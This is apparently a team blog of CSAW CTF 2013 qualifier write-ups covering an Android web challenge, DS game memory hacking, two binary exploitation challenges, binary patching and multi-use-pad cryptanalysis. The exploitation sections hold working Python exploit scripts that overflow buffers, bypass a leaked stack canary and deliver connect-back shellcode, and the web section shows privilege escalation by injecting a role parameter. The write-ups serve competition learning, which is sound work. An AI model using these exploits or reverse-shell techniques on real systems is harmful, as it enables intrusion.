Tuesday, September 24, 2013

CSAW CTF Quals - Web 300: herpderper.apk

For web 300 we were given an android application .apk file. After installing the application to an android phone and running it, we saw that it communicated with a remote location to determine if the login credentials were valid.

After decompiling the .apk file and looking through the source code, we found that the application contacted the website: https://webchal.isis.poly.edu/csaw.php. Visiting this site in a web browser returned no interesting results, other than the indication that we should visit the site using the mobile application.

This lead us in the direction of finding the request sent to the page from the application. viewing the doInBackground() method provided the existence of three vars that were base64 encoded then sent across to the website. The source of this method looks like this:

protected doInBackground(String[] uri) {
    v14 = android.os.Debug.isDebuggerConnected();
    if (!v14) {
        short v14 = 0x539;
        v14 = v14 / 0;
    } else {
        java.net.URL v11 = 0;
        try {
            v14 = 0;
            v14 = uri[v14];
            v12 = new java.net.URL(v14);
        } catch (java.net.MalformedURLException) {
        }
        v11 = v12;
        java.net.HttpURLConnection v13 = 0;
        try {
            v14 = v11.openConnection();
            v0 = v14;
            assert v0 instanceof java.net.HttpURLConnection;
            v13 = v0;
            v14 = 1;
            v13.setDoOutput(v14);
            v14 = "POST";
            v13.setRequestMethod(v14);
            ops.black.herpderper.TrustModifier.relaxHostChecking(v13);
            v5 = v13.getOutputStream();
            v14 = 1;
            v14 = uri[v14];
            v15 = "UTF-8";
            v14 = v14.getBytes(v15);
            v15 = 0;
            String v2 = android.util.Base64.encodeToString(v14, v15);
            v14 = 2;
            v14 = uri[v14];
            v15 = "UTF-8";
            v14 = v14.getBytes(v15);
            v15 = 0;
            String v8 = android.util.Base64.encodeToString(v14, v15);
            v14 = "\n";
            v15 = "";
            v14 = v2.replace(v14, v15);
            v15 = "\r";
            v16 = "";
            v2 = v14.replace(v15, v16);
            v14 = "\n";
            v15 = "";
            v4 = v8.replace(v14, v15);
            v15 = "\r";
            v16 = "";
            v8 = v14.replace(v15, v16);
            v14 = new StringBuilder();
            v15 = "identity=";
            v14 = v14.append(v15);
            v14 = v14.append(v2);
            v15 = "&secret=";
            v14 = v14.append(v15);
            v14 = v14.append(v8);
            v15 = "&integrityid=";
            v14 = v14.append(v15);
            v15 = 3;
            v15 = uri[v15];
            v14 = v14.append(v15);
            v9 = v14.toString();
            v14 = v9.getBytes();
            v5.write(v14);
            v5.close();
            v13.connect();
        } catch (Exception) {
        }
        v0 = p0;
        v7 = v0;
        try {
            v14 = v13.getInputStream();
            v3 = new BufferedInputStream(v14);
            v14 = new java.io.InputStreamReader(v3);
            v6 = new BufferedReader(v14);
            v10 = new java.lang.StringBuilder();
            while (true) {
                v4 = v6.readLine();
                if (!v4 == 0) { // break? -> :cond_1
                    v10.append(v4);
                } else {
                    v7 = v10.toString();
                    v13.disconnect();
                    return v7;
                }
            }
        } catch (org.apache.http.client.ClientProtocolException v14) {
            v13.disconnect();
        } catch (java.lang.Exception) {
        }
    }
}

The three variables were identity, secret, and integrityid. Sending a GET request to the website without sending the correct "integrityid" variable resulted in a client integrity fault message from the page:

{"response":{"status":"failure","msg":"Client integrity fault"}}

Using burp suite to find the correct integrityid, we sent that across and got the response from the page. The challenge then became a matter of exploiting the website. We wrote a quick python script to execute the request:

import socket, gzip, base64

def main():

    identity='''admin'''
    secret='''password'''
    requestbefore='''identity=%s&role=YWRtaW4=&secret=%s&integrityid=3082019f30820108a0030201020204522f840b300d06092a864886f70d0101050500301431123010060355040b1309426c61636b204f7073301e170d3133303931303230343134375a170d3338303930343230343134375a301431123010060355040b1309426c61636b204f707330819f300d06092a864886f70d010101050003818d0030818902818100cf6ecf73522d132c654ba9d9448e3051099e16283b68ef7872779e29cf517cbdb9dbeadced28147b8bc0e2cf93a02aff855561258a20cf107fe79fc1b56479fd706760f8a6a5bdeba2dc9ea810c5b7954fea9b62d96f3d66743b7723f57578e814939a23262be7bdd0aca74cfc0bd06ec8e267861161075d00edd29e1ed7d29d0203010001300d06092a864886f70d0101050500038181003289f625b0d425dd9eb49c7d5113f3f9f39d72dd56c56684aeeede3e8e99aaf279b9e5c994b4f8f1d5ecb0941ffb7cb8dd3fa58c60926127ebe2a85531c1c1885f9ae588af1bd91ebc3ce41259818569663d9ec66cdbfb08993e20c046b2dcd0ca54e52e84dc1866c824a586ce452750b9df09c2a5fca4a05e3746db3aae9fa9'''%(str(base64.b64encode(identity)), str(base64.b64encode(secret)))
    request2 = '''POST /csaw.php HTTP/1.1

User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.1.2; GT-N7105 Build/JZO54K)
Host: webchal.isis.poly.edu
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
Content-Length: %s
'''%str(len(requestbefore))

    request = request2 + requestbefore
    print request

    s = socket.socket()
    s.connect(('webchal.isis.poly.edu', 80))

    s.sendall(request)
    while(1):
        derp = s.recv(1024).strip()
        if(derp):
            break

    derp = derp.split('text/html')[1].strip()
    writefile = open('derp.txt.gz','wb')
    writefile.write(derp)
    writefile.close()

    f = gzip.open('derp.txt.gz', 'rb')
    file_content = f.read()
    print "\n\n" + file_content
    f.close()

if __name__ == "__main__":
    main()

The script would send a GET request to the website that looked like this:

POST /csaw.php HTTP/1.1
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.1.2; GT-N7105 Build/JZO54K)
Host: webchal.isis.poly.edu
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
Content-Length: ###

identity=YWRtaW4=&secret=cGFzc3dvcmQ=&integrityid=3082019f30820108a0030201020204522f840b300d06092a864886f70d0101050500301431123010060355040b1309426c61636b204f7073301e170d3133303931303230343134375a170d3338303930343230343134375a301431123010060355040b1309426c61636b204f707330819f300d06092a864886f70d010101050003818d0030818902818100cf6ecf73522d132c654ba9d9448e3051099e16283b68ef7872779e29cf517cbdb9dbeadced28147b8bc0e2cf93a02aff855561258a20cf107fe79fc1b56479fd706760f8a6a5bdeba2dc9ea810c5b7954fea9b62d96f3d66743b7723f57578e814939a23262be7bdd0aca74cfc0bd06ec8e267861161075d00edd29e1ed7d29d0203010001300d06092a864886f70d0101050500038181003289f625b0d425dd9eb49c7d5113f3f9f39d72dd56c56684aeeede3e8e99aaf279b9e5c994b4f8f1d5ecb0941ffb7cb8dd3fa58c60926127ebe2a85531c1c1885f9ae588af1bd91ebc3ce41259818569663d9ec66cdbfb08993e20c046b2dcd0ca54e52e84dc1866c824a586ce452750b9df09c2a5fca4a05e3746db3aae9fa9

Where ### was the length of the data sent below the Content-Length line. The website replied with the following response:

{"response":{"status":"failure","msg":"Login failed"},"timeStamp":"1379429423","tZ":"America/New_York","reqResourceId":"webchal.isis.poly.edu","clientId":{"identitySig":"d033e22ae348aeb5660fc2140aec35850c4da997","role":"anonymous","accessToken":"YWRtaW46YW5vbnltb3VzOndlYmNoYWwuaXNpcy5wb2x5LmVkdQ=="}}

After fiddling with various login names and passwords, we ran out of time in the competition. The final step of the challenge was to modify the request to include the variable "role", where role=admin in base64. In essence, the final request would look like this:

identity=YWRtaW4=&role=YWRtaW4=&secret=cGFzc3dvcmQ=&integrityid=3082019f30820108a0030201020204522f840b300d06092a864886f70d0101050500301431123010060355040b1309426c61636b204f7073301e170d3133303931303230343134375a170d3338303930343230343134375a301431123010060355040b1309426c61636b204f707330819f300d06092a864886f70d010101050003818d0030818902818100cf6ecf73522d132c654ba9d9448e3051099e16283b68ef7872779e29cf517cbdb9dbeadced28147b8bc0e2cf93a02aff855561258a20cf107fe79fc1b56479fd706760f8a6a5bdeba2dc9ea810c5b7954fea9b62d96f3d66743b7723f57578e814939a23262be7bdd0aca74cfc0bd06ec8e267861161075d00edd29e1ed7d29d0203010001300d06092a864886f70d0101050500038181003289f625b0d425dd9eb49c7d5113f3f9f39d72dd56c56684aeeede3e8e99aaf279b9e5c994b4f8f1d5ecb0941ffb7cb8dd3fa58c60926127ebe2a85531c1c1885f9ae588af1bd91ebc3ce41259818569663d9ec66cdbfb08993e20c046b2dcd0ca54e52e84dc1866c824a586ce452750b9df09c2a5fca4a05e3746db3aae9fa9
Where the variable "role" is simply inserted into the request. This would have returned the following response:

{"response":{"status":"success","msg":"Key: Yo dawg I heard you leik to derp so i put a herp in your derp so you could herpderp while you derpderp"},"timeStamp":"1379429491","tZ":"America/New_York","reqResourceId":"webchal.isis.poly.edu","clientId":{"identitySig":"d033e22ae348aeb5660fc2140aec35850c4da997","role":"admin","accessToken":"YWRtaW46YWRtaW46d2ViY2hhbC5pc2lzLnBvbHkuZWR1"}}
lilniqy, Hawkeye, albinotomato

CSAW CTF Quals: Reversing 500 Impossible.nds

Impossible - 500 Points
WTF, his hp is over 9000! Beat the game to get your key.
impossible.nds

Reversing an nintendo ds rom was right up my alley and I was very excited to begin. I immediately threw it in to the emulator of my choice, NO$GBA. Upon loading it, I realized this was not going to be nearly as fun as a classic legend of zelda game as the start screen itself was inverted. After clicking on the screen you are able to move and fire from your poor little defenseless green triangle against “WTF” who is spewing a million red triangles that kill you instantly. Oh on top of that “WTF’s” HP is over 9000! To be more specific it’s 1,000,000 (but we don't know that at first).



So like any good gamer faced with an OP boss, it's time to bust out those cheat codes! Since this is a Indie game, there are no pre-made cheats so we will just have to make our own. To do this I used a program called Cheat Engine. Cheat Engine has a built tutorial of what I am about to describe to you that is very helpful. The information we are given about the boss's health is that it's over 9000 (gotta love the classic Dragon Ball Z reference). So, we can just scan the memory of the gain for the WTF's health. However, if we did not know this or trust the developers of the competition, we would be completely in the dark. Luckily for us, Cheat Engine has an unknown initial value scan. After starting up the game and clicking start, I quickly pause the emulation and perform the scan. I then fire off a couple of shots at the boss and pause the game to do a decreased value scan. I kept repeating this cycle of shooting, pausing, and scanning for decreased values until I was left with one value. Cheat Engine informed me that it's initial value at the unknown scan was 1,000,000. So, if I need to restart the game I can just scan for exact values of 1,000,000 after I click the start screen and pause the emulation.This scan yields four results. After firing and pausing, you can easily see that the Boss's health is the only one to decrease. 


Cheat Engine allows you to change this value to whatever your little gaming heart desires. I changed this value to 1, to make sure it performed the win comparison conditions, and fired off a couple shots. Success! WTF is toast, w00t! And then after we invert the screen and re presented with the "KEY IS DUBZFGJCRC." Sweet we so now we just submit the key and are done right? Wrong! I noticed the value that the previous memory location for health was immediately changed after killing WTF. I also noticed, after quite some time, that this value along with the surrounding addresses directly affected the key. So, I then checked the the memory of these addresses.The designers of the game performed a function to make the key appear on the screen different than it is in memory. In memory the key was plainly visible. Challenge solved.


key: ou6UbzM8fgEjZQcRrcXKVN

- m4d_D0g

CSAW CTF Quals: Trivias

Trivia 1 Click here!
Trivia 2 Click here!
Trivia 3 Click here!
Trivia 4 Click here!
Trivia 5 Click here!

Monday, September 23, 2013

CSAW CTF Quals: Exploitation 300

This challenge brought in some slight return to libc concepts to execute our shellcode in rwx memory. However, we first had to find the exploit, since Hex-Rays made it seem un-exploitable. The code of interest is:
  n = buffLength;
  if ( (unsigned int)(buffLength + 1) <= 0x400 )

Hex-Rays did not show that in the assembly, it makes a movesx, which is a move sign extend. So, if the the byte number we sent had a leading bit of 1, that would be extended when it was copied over to the register. The negative number copied over would always be less than the 400h limit of our input size. The related assembly is:
.text:08048F09                 mov     eax, [ebp+buffLength]  //Our input for the length of the entry
.text:08048F0C                 mov     [ebp+var_4AC], ax  //Only copy the lower half of EAX
.text:08048F13                 mov     [ebp+var_C], 0
.text:08048F1A                 mov     [ebp+stream], 0
.text:08048F21                 movsx   eax, [ebp+var_4AC] //Move the lower half back into EAX, but extend the sign  ** Vulnerable
.text:08048F28                 mov     [ebp+n], eax
.text:08048F2B                 mov     eax, [ebp+n]
.text:08048F2E                 add     eax, 1
.text:08048F31                 cmp     eax, 400h  // Negative number is always less than 400h
.text:08048F36                 jbe     short loc_8048F5B

Now that we know we can overflow it when our number is greater than 32768 and less than 65535, we can execute a recv() into the rwx memory found at:
0804b000-0804c000 rwxp 00002000 08:01 409039     /root/Desktop/fil_chal
The winning script, excuse the poor variable names, is:
import socket, binascii, struct, time, string, sys
baseAddress =  0x804b020
for tme in xrange(1,2):

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   #s.connect(("127.0.0.1", 34266))
   s.connect(("128.238.66.217",34266))
   f = open("connectback_shell", "r")
   shellcode = f.read(94)
   f.close
   s.sendall("csaw2013"+'\n')
   s.sendall("S1mplePWD"+'\n')
   s.sendall("65535"+'\n')
   print "Trying :" + str(tme)
   s.sendall(shellcode+'\x90'*(1010-2*len(shellcode))+shellcode+'\x90'*50+struct.pack("<I", 0x8048890 )+
      struct.pack("<I",baseAddress) + struct.pack("<I",4)+struct.pack("<I",baseAddress)+struct.pack("<I",100)+"\x00\x00\x00\x00")
   time.sleep(1)
   s.sendall(shellcode)
   stuff = s.recv(2014)
   s.close()

Any questions or suggestions, feel free to comment!

--Imp3rial

CSAW CTF Quals: Exploitation 200

This binary required using the location of the memory location of the buffer and a secret sent across the socket. The stack canary being implemented was the value of secret which they sent. The important code is shown below.
  unsigned int v1;
  char buffer[2048]; 
  unsigned int cookie; 

  cookie = 0;
  memset(buffer, 0, sizeof(buffer));
  v1 = time(0);
  srand(v1);
  secret = rand();
  cookie = secret;
  *(_DWORD *)buffer = buffer;
  send(newsock, buffer, 4u, 0);
  send(newsock, &cookie, 4u, 0);
  send(
    newsock,
    "Welcome to CSAW CTF.  Exploitation 2 will be a little harder this year.  Insert your exploit here:",
    0x63u,
    0);
  recv(newsock, buffer, 0x1000u, 0);
  buffer[2047] = 0;
  if ( cookie != secret )
  {
    close(newsock);
    exit(0);
  }
After Sending a couple strings composed entirely of the cookie, I was able to determine that the canary value location on the stack was 2048 bytes, with control of eip being taken at 2064 bytes. With control of eip, we jump to the address of the beginning of our array that we received and conveniently holds our shellcode. The following code is the script used to beat the challenge.
import socket
import binascii
# create an INET, STREAMing socket
s = socket.socket(
    socket.AF_INET, socket.SOCK_STREAM)
#now connect to the web server on port 80
# - the normal http port
#s.connect(("10.18.0.85", 31338))
s.connect(("128.238.66.212", 31338))
f = open("callback", "r")
exploit = f.read(94)
print (len(exploit))
print (binascii.hexlify(exploit))
buffer_addr = s.recv(4)
cookie = s.recv(4)
print "got buffer"
print (binascii.hexlify(buffer_addr))
print "got cookie"
print (binascii.hexlify(cookie))
print (s.recv(256))
exploit += 'A'*(2048-94)
print "len is now 2048?"
print (len(exploit))
exploit += cookie
exploit += buffer_addr
exploit += buffer_addr
exploit += buffer_addr
exploit += buffer_addr
s.send(exploit)
buffer_addr = s.recv(4)
cookie = s.recv(4)
print "got buffer"
print (binascii.hexlify(buffer_addr))
print "got cookie"
print (binascii.hexlify(cookie))
print (s.recv(256))

Feel free to comment or ask questions!

-- Imp3rial

CSAW CTF Quals: Reversing 200 csaw2013reversing2

First, we look at the psuedocode created by IDA.
From this, there are three things that are interesting.
1. The first IF statement, which will determine whether or not decoding happens.
2. The _debugbreak(), which may either help (writer stopping there to get us to look at something) or hinder          (simply be annoying)
3. The key print statement at the bottom.

First, I tried running it, with a break point immediately following the if statement (jnz in assembly). This neither hit the breakpoint, nor did it print a key. Therefore, I speculated that we needed to alter the value of the if statement, to invert when it triggered (from if(!statement) to if(statement)). Also, I removed the debug breakpoint, mainly for convenience. The original assembly:


The modified code:



However, when this was ran, there seemed to be no valid output, as the message box appeared empty. After some fiddling around, and help from teammates and coaches, it was found that the key was actually being printed in the message box. Since it started with a string terminator however, it appeared to be empty. Reading it from memory in debugging allowed for the acquisition of the key. 



flag{number2isalittlebitharder:p}
- albinotomato


CSAW CTF Quals: Cryptography 100 Csawpad

In this challenge, we are provided with a csawpad.py file. Within the file, we were given recovered texts and told that they are hex encoded strings:
Recovered texts, hex encoded

'794d630169441dbdb788337d40fe245daa63c30e6c80151d4b055c18499a8ac3e5f3b3a8752e95cb36a90f477eb8d7aa7809427dde0f00dc11ab1f78cdf64da55cb75924a2b837d7a239639d89fe2b7bc1415f3542dba748dd40',
'14a60bb3afbca7da0e8e337de5a3a47ae763a20e8e18695f39450353a2c6a26a6d8635694cbdc34b7d1a543af546b94b6671e67d0c5a8b64db12fe32e275',
'250d83a7ed103faaca9d786f23a82e8e4473a5938eabd9bd03c3393b812643ea5df835b14c8e5a4b36cdcfd210a82e2c3c71d27d3c47091bdb391f2952b261fde94a4b23238137a4897d1631b4e18d63',
'68a90beb191f13b621747ab46321a491e71c536b71800b8f5f08996bb433838fe56587f171a759cf1c160b4733a3465f5509ad7d1a89d4b41f631f3c600347a8762141095dad3714027dfc7c894d69fd896b810313259b1a0e941ecb43d6ae1857a465b4ddcdf102b7297763acb0281144b0598c326e871c3a1ad047ad4fea2093a1b734d589b8998175b3',
'0fc304048469137d0e2f3a71885a5a78e749145510cf2d56157939548bfd5dd7e59dcebc75b678cfeac4cf408fce5dda32c9bfcbfd578bdcb801df32ebf64da365df4b285d5068975137990134bd69991695989b322b0849',
'254c0bb31453badaca9d060ce5faa45fa66378a6716915473579d3743e315dbedf4d8cf78b93c3267d579247e32c8c7cd3e71e7dda6138a2ab015166fa03f2ce6ab74b89ce561eb16a65990189e169f1c457d9af622ba119a66acedb108fae18825bf3efc0428b9dae250791cb0ea018966e257d601a87f9914d646026eeab5c45cbaedd27e4c47643ab4e25193aa64f79',
'41cd1c01c62883b2ca71e671dce57e5f96b1610e29507b6c03c38211653284576d4d8cdc967764147d1a0578102cb05f32a73065f11009041fa3cc5f60b24d8c7098598627df37322f814525966acabc99be5303c2322b43ecf358ac8b8541bd82214d1cc042cac3869c54e2964fa376229c2563ba3fd03e2d4d4d441721c60b6d817e034965be28b7d463cf2b97baebfe2729ed2aa41ffe',
'68c50bd5197bfdbdfa887883783d2455a673a685436915bd72d1af74dffdd2b89df335daee93c36d5f57e147e9a35913d3b3bf33'
From the csawpad file, you can see that encryption and decryption are two input dictionary lookups that encrypts/decrypts byte by byte using the (padByte, ptextByte/ctextByte) as a key. As this is a stream cipher using a pad, we assumed that the pad used to encrypt are used for all of these strings and, therefore, a multi-use pad as opposed to a one-time pad.

After decoding the hex-strings into raw bytes, I decided to check the results of the first byte of every string against possible pad bytes and output all pads that would output a character within a reasonable character set. This is the character set that I ended up using:
mccstring=" @$,.!1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"
At first, I thought only string.printable would be part of the pad. For our pad, this gave me the result of:
[[], ['G'], ['('], [], [], [], ['o'], ['h'], ['9'], [], [], [], ['q'], ['+'], [' '], [], [], ['a'], [], ['@'], [], ['r'], [], ['f'], ['s'], [';'], [], ['t'], [], [], ['|'], ['V'], [], ['E'], ['w'], [], [], [], [], ['K', '#'], [], [], [], [], [], [], [], ['h'], ['L'], [], [], ['\n']]
That's not useful at all. So then I expanded our available character set to the entire range, which was accomplished by:
charspace=''.join(map(chr,xrange(256)))
That gave us the significantly more useful result of:
[['\xcb', '\xdf'], ['G'], ['('], ['\x8b'], ['\xd4'], ['\xea'], ['o'], ['h'], ['9'], ['\xa4'], ['\xe4'], ['\x86'], ['q'], ['+'], [' ', '\xbe'], ['\x9b'], ['\x8f'], ['a'], ['\x7f'], ['@'], ['\xe7'], ['r'], ['\xf8'], ['f'], ['s'], [';'], ['\x0f'], ['t'], ['\xe5'], ['\xaf'], ['|'], ['V'], ['\xa9'], ['E'], ['w'], ['\x1e'], ['\xbf'], ['\xeb'], ['\xa9', '\xc3'], ['#', 'K'], ['\x10'], ['\xa7'], ['\xf6'], ['\xfe'], ['\xa6'], ['\x81'], ['\xf7'], ['h'], ['L'], ['\xef'], [], ['\n', '\xe5']]
This isn't much to guess from. With only one empty character for our pad (which I filled in with a random character), I just made my key from these results.
padp = '\xdfG(\x8b\xd4\xeaoh9\xa4\xe4\x86q+\xbe\x90\x8fa\x7f@\xe7r\xf8fs;\x0ft\xe5\xaf|V\xa9Ew\x1e\xbf\xeb\xc3#\x10\xa7\xf6\xfe\xa6\x81\xf7hL\xefa\xe5' + 100*'a'
I filled in the string with several 'a's in order to save my script from just crashing to the ground after it hits the last character of the shortest string. Good enough for government work!

Decrypting using this pad gave me the result of:
MY key for you ミs {And yes the nsa can dead this tᆵ}
There's a few things screwy with this, but "And yes the nsa can dead this to" was not the key. The only reasonable other choice is "read" instead of "dead." Put that in and it works! Here is the code I used:
#!/usr/bin/python2.7

import string
import os
from hashlib import sha512
from binascii import hexlify
import itertools

charspace=''.join(map(chr,xrange(256)))
#charspace=string.printable

def genTables(seed="Well one day i'll be a big boy just like manhell"):
    fSub={}
    gSub={}
    i=0
    prng=sha512()
    prng.update(seed)
    seed=prng.digest()
    for el in xrange(256):
        cSeed=""
        for x in xrange(4):
            cSeed+=prng.digest()
            prng.update(str(x))
        prng.update(cSeed)
        fCharSub=[0]*256
        gCharSub=[0]*256
        unused=range(256)
        for toUpdate in xrange(256):
            i+=1
            curInd=ord(cSeed[toUpdate])%len(unused)
            toDo=unused[curInd]
            del unused[curInd]
            fSub[(el,toUpdate)]=toDo
            gSub[(el,toDo )]=toUpdate
    return fSub,gSub

f,g=genTables()
ciph=['794d630169441dbdb788337d40fe245daa63c30e6c80151d4b055c18499a8ac3e5f3b3a8752e95cb36a90f477eb8d7aa7809427dde0f00dc11ab1f78cdf64da55cb75924a2b837d7a239639d89fe2b7bc1415f3542dba748dd40',
 '14a60bb3afbca7da0e8e337de5a3a47ae763a20e8e18695f39450353a2c6a26a6d8635694cbdc34b7d1a543af546b94b6671e67d0c5a8b64db12fe32e275',
 '250d83a7ed103faaca9d786f23a82e8e4473a5938eabd9bd03c3393b812643ea5df835b14c8e5a4b36cdcfd210a82e2c3c71d27d3c47091bdb391f2952b261fde94a4b23238137a4897d1631b4e18d63',
 '68a90beb191f13b621747ab46321a491e71c536b71800b8f5f08996bb433838fe56587f171a759cf1c160b4733a3465f5509ad7d1a89d4b41f631f3c600347a8762141095dad3714027dfc7c894d69fd896b810313259b1a0e941ecb43d6ae1857a465b4ddcdf102b7297763acb0281144b0598c326e871c3a1ad047ad4fea2093a1b734d589b8998175b3',
 '0fc304048469137d0e2f3a71885a5a78e749145510cf2d56157939548bfd5dd7e59dcebc75b678cfeac4cf408fce5dda32c9bfcbfd578bdcb801df32ebf64da365df4b285d5068975137990134bd69991695989b322b0849',
 '254c0bb31453badaca9d060ce5faa45fa66378a6716915473579d3743e315dbedf4d8cf78b93c3267d579247e32c8c7cd3e71e7dda6138a2ab015166fa03f2ce6ab74b89ce561eb16a65990189e169f1c457d9af622ba119a66acedb108fae18825bf3efc0428b9dae250791cb0ea018966e257d601a87f9914d646026eeab5c45cbaedd27e4c47643ab4e25193aa64f79',
 '41cd1c01c62883b2ca71e671dce57e5f96b1610e29507b6c03c38211653284576d4d8cdc967764147d1a0578102cb05f32a73065f11009041fa3cc5f60b24d8c7098598627df37322f814525966acabc99be5303c2322b43ecf358ac8b8541bd82214d1cc042cac3869c54e2964fa376229c2563ba3fd03e2d4d4d441721c60b6d817e034965be28b7d463cf2b97baebfe2729ed2aa41ffe',
 '68c50bd5197bfdbdfa887883783d2455a673a685436915bd72d1af74dffdd2b89df335daee93c36d5f57e147e9a35913d3b3bf33']

def decrypt(pad, ciphertext):
    assert(len(ciphertext)<=len(pad))#if pad < ciphertext bail
    ptext = []
    if type(ciphertext)==type(""):
        ciphertext=map(ord,ciphertext)
    if type(pad)==type(""):
        pad=map(ord,pad)
    for padByte,ctextByte in zip(pad,ciphertext):
        ptext.append(g[padByte,ctextByte])
    return "".join(map(chr,ptext))



for x in xrange(len(ciph)):
    ciph[x]=ciph[x].decode('hex')

temp, winningPads= [], []

mccstring=" @$,.!1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"
for y in xrange(52):
    for padPoss in charspace:
        for x in xrange(len(ciph)):
            temp.append(chr(g[ord(padPoss), ord(ciph[x][y])]))
        try:
            winningPads[y].append(padPoss)
        except IndexError:
            winningPads.append([])
            winningPads[y].append(padPoss)
        for each in temp:
            if each not in mccstring:
                winningPads[y].remove(padPoss)
                break
        temp=[]

print(winningPads)
#print(len(winningPads))
#for each in winningPads:
#    print(each)

padp = '\xdfG(\x8b\xd4\xeaoh9\xa4\xe4\x86q+\xbe\x90\x8fa\x7f@\xe7r\xf8fs;\x0ft\xe5\xaf|V\xa9Ew\x1e\xbf\xeb\xc3#\x10\xa7\xf6\xfe\xa6\x81\xf7hL\xefa\xe5' + 100*'a'

print(decrypt(padp, ciph[7]))


--dotKasper